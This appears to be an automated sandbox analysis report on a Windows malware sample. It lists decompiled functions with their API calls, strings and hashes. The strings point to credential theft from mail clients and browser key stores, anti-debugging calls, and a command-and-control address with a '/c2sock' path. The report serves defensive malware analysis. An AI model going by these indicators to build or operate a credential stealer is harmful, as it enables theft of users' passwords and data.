ntdll.dll, xrefs: 0040B425, 0040B61B, 0040B797
Y[, xrefs: 0040B682

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CloseFileRead
String ID: LK$Y[$ntdll.dll
API String ID: 752142053-4222218168
Opcode ID: 674c179e697703f44c2f44510fd3adef83a7dc0e616b3acf5fe27305b6ec38da
Instruction ID: 4487220ceab9a8d4c25bfe658470c8f7c93894071a863f051833b6fbd766e42f
Opcode Fuzzy Hash: 674c179e697703f44c2f44510fd3adef83a7dc0e616b3acf5fe27305b6ec38da
Instruction Fuzzy Hash: C0E1BDB29043058BDB249F69C59516EBAE1EB85314F25893FE485FB3D0E33C89418B9F

Function 00422177 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 183nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041F916: VirtualQuery.KERNEL32(?,00001000,00001000), ref: 0041F984

NtQueryInformationProcess.NTDLL(000000FF,0000001E,?,00000004,00000000), ref: 004223A5

Strings

^^4, xrefs: 00422365
^^4, xrefs: 0042225A
]^4, xrefs: 00422191
^^4, xrefs: 0042238B

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Query$InformationProcessVirtual
String ID: ]^4$^^4$^^4$^^4
API String ID: 1364735940-2923853987
Opcode ID: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction ID: e1f5519adcfceb975286f451de33aaf8cbb4e2bcda804772fdea06b08d6dcce1
Opcode Fuzzy Hash: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction Fuzzy Hash: CD510B31B08271ABDB24891CA68097E62D45B44314FA44D2BFDD9EB328C2ADCDD6974F

Function 0043323B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00433288
GetSystemMetrics.USER32(00000001), ref: 004333C3
GetSystemMetrics.USER32(00000000), ref: 0043341E

Strings

DISPLAY, xrefs: 00433283

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Create
String ID: DISPLAY
API String ID: 1087689917-865373369
Opcode ID: e111dd26da1cce17ec30f396acc00c8357a98608eb13f1216a439640c8f7afd7
Instruction ID: b761a9eed8f132f3d76dd51699d475c40aa8c4f3e32308c58242f5baaa05262b
Opcode Fuzzy Hash: e111dd26da1cce17ec30f396acc00c8357a98608eb13f1216a439640c8f7afd7
Instruction Fuzzy Hash: EA513672D041059BEF208F588845ABFB6A4EB9D312F34B563E516EB350D278CF814B9B

Function 00401FF9 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 254sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,?,?,?,?,?,?,?,?,?,?,?,?,?,?,E3E203CD), ref: 004020D7
ExitProcess.KERNEL32 ref: 00402428

Strings

Ku^%, xrefs: 004020FB
Ku^%, xrefs: 00402040

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ExitProcessSleep
String ID: Ku^%$Ku^%
API String ID: 911557368-1067927601
Opcode ID: 013c3d7dc7fc862d36ffcb00b25dcaf7516d0370d05350ed3a1ad5b255c26736
Instruction ID: 7c1692d81d369eac2294152011f0ccab71a19272a549e25e1d59810d67b13e6b
Opcode Fuzzy Hash: 013c3d7dc7fc862d36ffcb00b25dcaf7516d0370d05350ed3a1ad5b255c26736
Instruction Fuzzy Hash: 82A1E571500B058BD7348E29D68862B76E0AB41714B248D3FE55BFBBE0D6FCE8459B0B

Function 004224A3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 201nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(000000FF,0000001F,?,00000004,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004227D5

Strings

9a%^, xrefs: 004225B2
M%, xrefs: 0042265C
M%, xrefs: 0042277D

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID: 9a%^$M%$M%
API String ID: 1778838933-3204844187
Opcode ID: 9ade9e483b5ebb250e7fe0e529f96f4c94ae799fe6f97278c80e701388524701
Instruction ID: a14d1243167b6357461e6519a130038910b412cbb64089044718b0755659bab4
Opcode Fuzzy Hash: 9ade9e483b5ebb250e7fe0e529f96f4c94ae799fe6f97278c80e701388524701
Instruction Fuzzy Hash: 5A819875F04229ABCF28DF58EAD06ADB7B0AB24300FE48557D451E7351D2BC8A81CB4A

Function 0042C0DA Relevance: 6.8, Strings: 5, Instructions: 552COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 0042C514
%localappdata%\Mailbird\Store, xrefs: 0042C52E
Mail Clients\Mailbird, xrefs: 0042C138, 0042C424, 0042C474
\MessageIndex, xrefs: 0042C26E
*.db, xrefs: 0042C479

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: %localappdata%\Mailbird\Store$*.db$Mail Clients\Mailbird$\MessageIndex$kernel32.dll
API String ID: 0-4169501468
Opcode ID: 998153987a092bc391745c6bd773306619986c146018ef37c9d8809a776367a6
Instruction ID: 37c33aadf0b1a5fededcf733a2f710a0aa0d7e8b715308be68c7b56e9875aa70
Opcode Fuzzy Hash: 998153987a092bc391745c6bd773306619986c146018ef37c9d8809a776367a6
Instruction Fuzzy Hash: C21209B1F4022A8BDF149B98A8C25BF7661EF10314FA4452BE411FA391D72D8A41CBDF

Function 0043B362 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 550stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE(?,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,-000017AA), ref: 0043B7A5

Strings

kernel32.dll, xrefs: 0043B79D
VL6T, xrefs: 0043BAF5
VL6T, xrefs: 0043B6ED

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: VL6T$VL6T$kernel32.dll
API String ID: 1586166983-858732239
Opcode ID: 12c1549d627155c630d8ca6eb72fb2876e14e488023c5ebfadd3efd311715951
Instruction ID: ac9e96eee08e7f4766fdf27955405b0e073298ede107f6bf942f2813ff7035d8
Opcode Fuzzy Hash: 12c1549d627155c630d8ca6eb72fb2876e14e488023c5ebfadd3efd311715951
Instruction Fuzzy Hash: F912BA71D045198BCF28CA5988967BEB6B0EB1D300F24651BDA06EB760D73CDD818BDB

Function 00430228 Relevance: 5.7, Strings: 4, Instructions: 717COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 00430A91
UL6T, xrefs: 00430495
VL6T, xrefs: 0043093E
VL6T, xrefs: 00430812

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: UL6T$VL6T$VL6T$kernel32.dll
API String ID: 4038537762-2028718673
Opcode ID: 7f0570dafa6d19f3a3e4030d7ec8142c43fb6ca8828ccd976bb5ebe1ae7d6833
Instruction ID: c2102a5980ece967c5cd64c746778263c5b3406957fe7555e788f878a3f1dfdb
Opcode Fuzzy Hash: 7f0570dafa6d19f3a3e4030d7ec8142c43fb6ca8828ccd976bb5ebe1ae7d6833
Instruction Fuzzy Hash: 99420BB1D001199BDF288A98C8656BF76B0AB18310F241767E915FB3D0D37C8E95CB9B

Function 004052D9 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 467encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00405575

Strings

os_c576xedrypt.encry576xedpted_key, xrefs: 00405A29
crypt32.dll, xrefs: 00405558, 004059AF

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CryptDataUnprotect
String ID: crypt32.dll$os_c576xedrypt.encry576xedpted_key
API String ID: 834300711-975908830
Opcode ID: 6ec49e03afd1e886a5d6749f16ab2b942470457bc97d4b462b27af3ea700647b
Instruction ID: 8c3ac9f04a9491c7941596228a2b8d17953981cc6a452a8cfbc5ca82bdd136a5
Opcode Fuzzy Hash: 6ec49e03afd1e886a5d6749f16ab2b942470457bc97d4b462b27af3ea700647b
Instruction Fuzzy Hash: 4402B4B1E00A098FDF249A98DC816BFBB74EB14314F24457BE915FA3E0D37989418F5A

Function 0042F278 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 222stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,0043047B), ref: 0042F315
lstrcatW.KERNEL32(?,\key4.db), ref: 0042F31F

Strings

\key4.db, xrefs: 0042F317

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: \key4.db
API String ID: 4038537762-2908133219
Opcode ID: c274c9b68e34842f206bf802bf848d073bbe615893bbf2fcb8277165c47de0ca
Instruction ID: 3d8cc84be03ebf0018643bd6ad0f3ea75a9045ade11442e12932e6ab408eecf0
Opcode Fuzzy Hash: c274c9b68e34842f206bf802bf848d073bbe615893bbf2fcb8277165c47de0ca
Instruction Fuzzy Hash: C37198A6F0012996DF249968BC4157F23B16B92710FF40977E005DB391E27ECD8987AF

Function 0042CFBA Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

^^4, xrefs: 0042D32D
]^4, xrefs: 0042CFF0
^^4, xrefs: 0042D20F
Mail Clients\eM Client, xrefs: 0042CFBE

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: Mail Clients\eM Client$]^4$^^4$^^4
API String ID: 0-1928883120
Opcode ID: 490cee9e03f46942998cbacae6b351251b9d38460da8d0580215e8d3c57ef9a7
Instruction ID: 9be5ae4bf1e72463837e643df42d36053b45937ac977a5871966d9d3f700dc7e
Opcode Fuzzy Hash: 490cee9e03f46942998cbacae6b351251b9d38460da8d0580215e8d3c57ef9a7
Instruction Fuzzy Hash: 5CE14DB1F4012A8BDF189E54FD822BF7662AB14304FA4052BE015FA395E73DCA4187DB

Function 00453BC4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0044E224: RtlFreeHeap.NTDLL(00000000,00000000,?,00447A98,00426F52,?,?), ref: 0044E23A
Part of subcall function 0044E224: GetLastError.KERNEL32(?,?,00447A98,00426F52,?,?), ref: 0044E245

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00454058,004170BE,?), ref: 00453C36

Strings

Eastern Standard Time, xrefs: 00453CCF
Eastern Summer Time, xrefs: 00453CE3

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3335090040-239921721
Opcode ID: 2af139a3764a0c05745c62e5f991a316996d580cafce79d7789892506ed109ab
Instruction ID: 7ab12ca904d85c611abf05cc92b1328e63041ffa610859c45aae75821d6d65e9
Opcode Fuzzy Hash: 2af139a3764a0c05745c62e5f991a316996d580cafce79d7789892506ed109ab
Instruction Fuzzy Hash: DA3159B2D00115ABCB11AFA6DC4695ABB74EF05797F10406BF804A7162E7789F04CB99

Function 00438E28 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 417COMMON

Download Yara Rule

Strings

gU@, xrefs: 0043935E

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: gU@
API String ID: 0-63564854
Opcode ID: 8bc7925b9e038d193efd2d2866c7942856053ba973fa878822b50d9ea5857523
Instruction ID: 9bb5ed087af5853c8395ebcf4a55f6806a95a7423fdc301e10d6eb9c751f7a08
Opcode Fuzzy Hash: 8bc7925b9e038d193efd2d2866c7942856053ba973fa878822b50d9ea5857523
Instruction Fuzzy Hash: 4FE1D871D042198BDF249B6888826BEBA70BB1D310F24252FE559FB390D77CCD418B9B

Function 0040B7BB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00000000,?,?,?), ref: 0040B80B

Strings

ntdll.dll, xrefs: 0040B7F8

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Close
String ID: ntdll.dll
API String ID: 3535843008-2227199552
Opcode ID: cd4e9ab95000133a587c79dbdb14eef8d6e48608e068825cd0d0d3dffcb8006f
Instruction ID: 07c00f1c427ac074378915b2824e934ab5066280a98a6b1b7d7a0ad64244f161
Opcode Fuzzy Hash: cd4e9ab95000133a587c79dbdb14eef8d6e48608e068825cd0d0d3dffcb8006f
Instruction Fuzzy Hash: 7DF0E992A0016279E6106A669C0197B768CDE86361F144533F815E73D1E33C8E0192FE

Function 0040B7F5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00000000,?,?,?), ref: 0040B80B

Strings

ntdll.dll, xrefs: 0040B7F8

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Close
String ID: ntdll.dll
API String ID: 3535843008-2227199552
Opcode ID: fc421d87402b4386972566e4e5051b6ecebdf77c0c0cd5e6f8509a3cd20f6b8d
Instruction ID: f273f3d0fb77e3baaf18c0c5406a57793bb7cae49ecc4258f7fe46d16d2ae272
Opcode Fuzzy Hash: fc421d87402b4386972566e4e5051b6ecebdf77c0c0cd5e6f8509a3cd20f6b8d
Instruction Fuzzy Hash: 08C08063F8102166850175D47C035AD631CD9D8337F1C4437F91AF2301F525161D01FB

Function 00A3971E Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00A39746
Module32First.KERNEL32(00000000,00000224), ref: 00A39766

Memory Dump Source

Source File: 00000000.00000002.3920154401.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A38000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a38000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 62b4692468fa1bb4e49bcb92ce8b04d38887d3130979545ada235a16c54a7cb6
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 1EF09632110711BBE7203FF5A88DBAF76ECAF49725F100529F656914C0DBF0EC454A61

Function 004245EC Relevance: 1.7, APIs: 1, Instructions: 207nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000023,?,00000002,00000000), ref: 00424811

Part of subcall function 004262A1: LoadLibraryA.KERNELBASE(fltl), ref: 004263DE

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: InformationLibraryLoadQuerySystem
String ID:
API String ID: 1217483125-0
Opcode ID: 87505e49a8eb848821dffb05ea81a0e5641ec38d0459a75f9f4d4ff82dc7fd33
Instruction ID: a7ee391c1cc3a25a3919c4d00fef5949a9432234e98ec336f1522245060c6ad6
Opcode Fuzzy Hash: 87505e49a8eb848821dffb05ea81a0e5641ec38d0459a75f9f4d4ff82dc7fd33
Instruction Fuzzy Hash: 1471C5B1B08261CBCB24DF18A58112EB6E0FBC5314FA65D1FE496EB351D63CC8858B5B

Function 00421EEB Relevance: 1.7, APIs: 1, Instructions: 153nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(000000FF,00000007,FFFFFF06,00000004,00000000), ref: 00421F7A

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction ID: 4c19edd8aa9c17fc0a78f2ac854e6ceab7ff99fd175543fb6d48c07bc42e7691
Opcode Fuzzy Hash: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction Fuzzy Hash: B151B730F081359BCF248B5CAA8076DBAA5AB24315FA14517EB25E73B4C379DD81874B

Function 004244E4 Relevance: 1.6, APIs: 1, Instructions: 71nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,?,?,?,?,?,0041EC64), ref: 004245E5

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 5af1248077b72cee271f1dc4513ba9fdd6fbe0fa2681126dcf50cb3d141ba941
Instruction ID: e4e78e09ab512bb18b464cd4d2f873358ef8636b72ff0900b4d62f7f8a955cf4
Opcode Fuzzy Hash: 5af1248077b72cee271f1dc4513ba9fdd6fbe0fa2681126dcf50cb3d141ba941
Instruction Fuzzy Hash: 372132B57046216BC7249E1CA84253EA6D4EBD8314F55593BFACBEF750D238CC809B87

Function 0042F1C2 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(F2E4C6A8,00000000), ref: 0042F21D

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 1c25e0eb5abf8d8b8060ecc68c24b031f84286c1c8975e7eed6408469da21eb6
Instruction ID: a368c7a5dfb214292b8ef9e9d0bae651ecd455d0456980d3106c0b1a917b6dbd
Opcode Fuzzy Hash: 1c25e0eb5abf8d8b8060ecc68c24b031f84286c1c8975e7eed6408469da21eb6
Instruction Fuzzy Hash: 9DF06DB1900644DFD710DF99E989B5AFBF8EB48724F10C16AE4289B751D33C5844CF68

Function 0044FB15 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5466edf919cf6453cb3fe632e64b7bc90129a20e483f7dfcae3dbb783ead61c5
Instruction ID: c1995cbfc35cf923d3c3ea23a15c0124f92d8ae5a77ba2b7d44262ced24471db
Opcode Fuzzy Hash: 5466edf919cf6453cb3fe632e64b7bc90129a20e483f7dfcae3dbb783ead61c5
Instruction Fuzzy Hash: AFE08C72912278EBCB15DB89C945D8AF3FCEB49B14B2500ABB501D3200C674EE04CBD4

Function 00443998 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction ID: 17c6e2c9dd4ac5a7344e966d1587fdb4c68b9ede7c11da59021095b760417012
Opcode Fuzzy Hash: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction Fuzzy Hash: 09C08C7410098046EF298D10C271BA63364FBA2BCBF8005CEC4420BB46C66EAD8AD654

Function 0042F625 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 418
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,?), ref: 0042F9A2
lstrcatW.KERNEL32(?,?), ref: 0042F9CF
lstrcatW.KERNEL32(?,0045E102), ref: 0042FA7D
lstrcatW.KERNEL32(?,0045E102), ref: 0042FAFF

Strings

)lu, xrefs: 0042FCC2
n_v, xrefs: 0042FD1C
)lu, xrefs: 0042F81C
n_v, xrefs: 0042FCCB
n_v, xrefs: 0042FAAD
(lu, xrefs: 0042F811

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: (lu$)lu$)lu$n_v$n_v$n_v
API String ID: 4038537762-1534030094
Opcode ID: 072b878477c295eb77043ba653f905b2afdd85461ce88a646d5d7cd4a06fd790
Instruction ID: 4b57ba66ae2396d09571da8aec8c9542c80e7c55b9c92ca3ddc1ba6dd1b7a9a6
Opcode Fuzzy Hash: 072b878477c295eb77043ba653f905b2afdd85461ce88a646d5d7cd4a06fd790
Instruction Fuzzy Hash: 7AF11D71B0012E9BCF289F99E8515BEBAB4FB54310FE44537E401EA3B0D37989469B4B

Function 0041A28F Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wctomb_s.LIBCMT ref: 0041A498

Strings

94.158.244.69, xrefs: 0041A910
lid, xrefs: 0041A67F
GhYuIq, xrefs: 0041A67A
/c2sock, xrefs: 0041A814
file, xrefs: 0041A6E9
pid, xrefs: 0041A669
hwid, xrefs: 0041A655

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _wctomb_s
String ID: /c2sock$94.158.244.69$GhYuIq$file$hwid$lid$pid
API String ID: 2865277502-1332857675
Opcode ID: eb0b6a858b081c0f0339ece4a3e91829cc041cf882a78251da46bd4ef4ec5e2d
Instruction ID: cc35308ceb474d8d45e9bf1619109491d7752d3a10985d79ac983763bc7ee506
Opcode Fuzzy Hash: eb0b6a858b081c0f0339ece4a3e91829cc041cf882a78251da46bd4ef4ec5e2d
Instruction Fuzzy Hash: 11F108B5D0211A9BDF248B88C8455FEBAB1AB14340F24496BE415F7394D33DCAE18B9F

Function 0099003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0099024D

Strings

cess, xrefs: 0099018D
kernel32.dll, xrefs: 0099008F, 00990095

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: cd4b7741529196e3b900c45689e90016cd92319ae4b5bb5a884e835b5848cf64
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: F5527874A01229DFDB64CF98C984BACBBB5BF49304F1480D9E95DAB251DB30AE84DF14

Function 00432718 Relevance: 10.7, APIs: 7, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateCompatibleDC.GDI32(00000D62), ref: 00432894
DeleteDC.GDI32(00000002), ref: 00432B01
DeleteObject.GDI32(?), ref: 00432B0A

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Delete$CompatibleCreateObject
String ID:
API String ID: 1022343127-0
Opcode ID: 9c86189b810d3e515d08f5d9a84ca5729e654e6d330d14ecc6a0223a2e2684ea
Instruction ID: 50fedbdf880eafc0b33480be7e0390951b775b57d16ab65b209ae7f2f2027e24
Opcode Fuzzy Hash: 9c86189b810d3e515d08f5d9a84ca5729e654e6d330d14ecc6a0223a2e2684ea
Instruction Fuzzy Hash: 358116B590031A9BDF209F948EC557E7A74BB0C350F282617E510F63A0D3FD9A419BAB

Function 0044CF15 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,0044D022,?,00426F52,00000000,00000000,?,?,0044CDD6,00000021,FlsSetValue,0046503C,FlsSetValue,00000000), ref: 0044CFD6

Strings

ext-ms-, xrefs: 0044CF80
api-ms-, xrefs: 0044CF6C

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction ID: c6a9518bbc4403065455c8dc6532f837efe444071a0c6fa5154c8577c36c6d79
Opcode Fuzzy Hash: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction Fuzzy Hash: 4521EE31E47210ABEB219B65DCC0A5B77699B41764B190122FD05A73D0FBBCDD08C6DD

Function 0044575F Relevance: 9.3, APIs: 6, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 004458F2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044590E
__allrem.LIBCMT ref: 00445925
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00445943
__allrem.LIBCMT ref: 0044595A
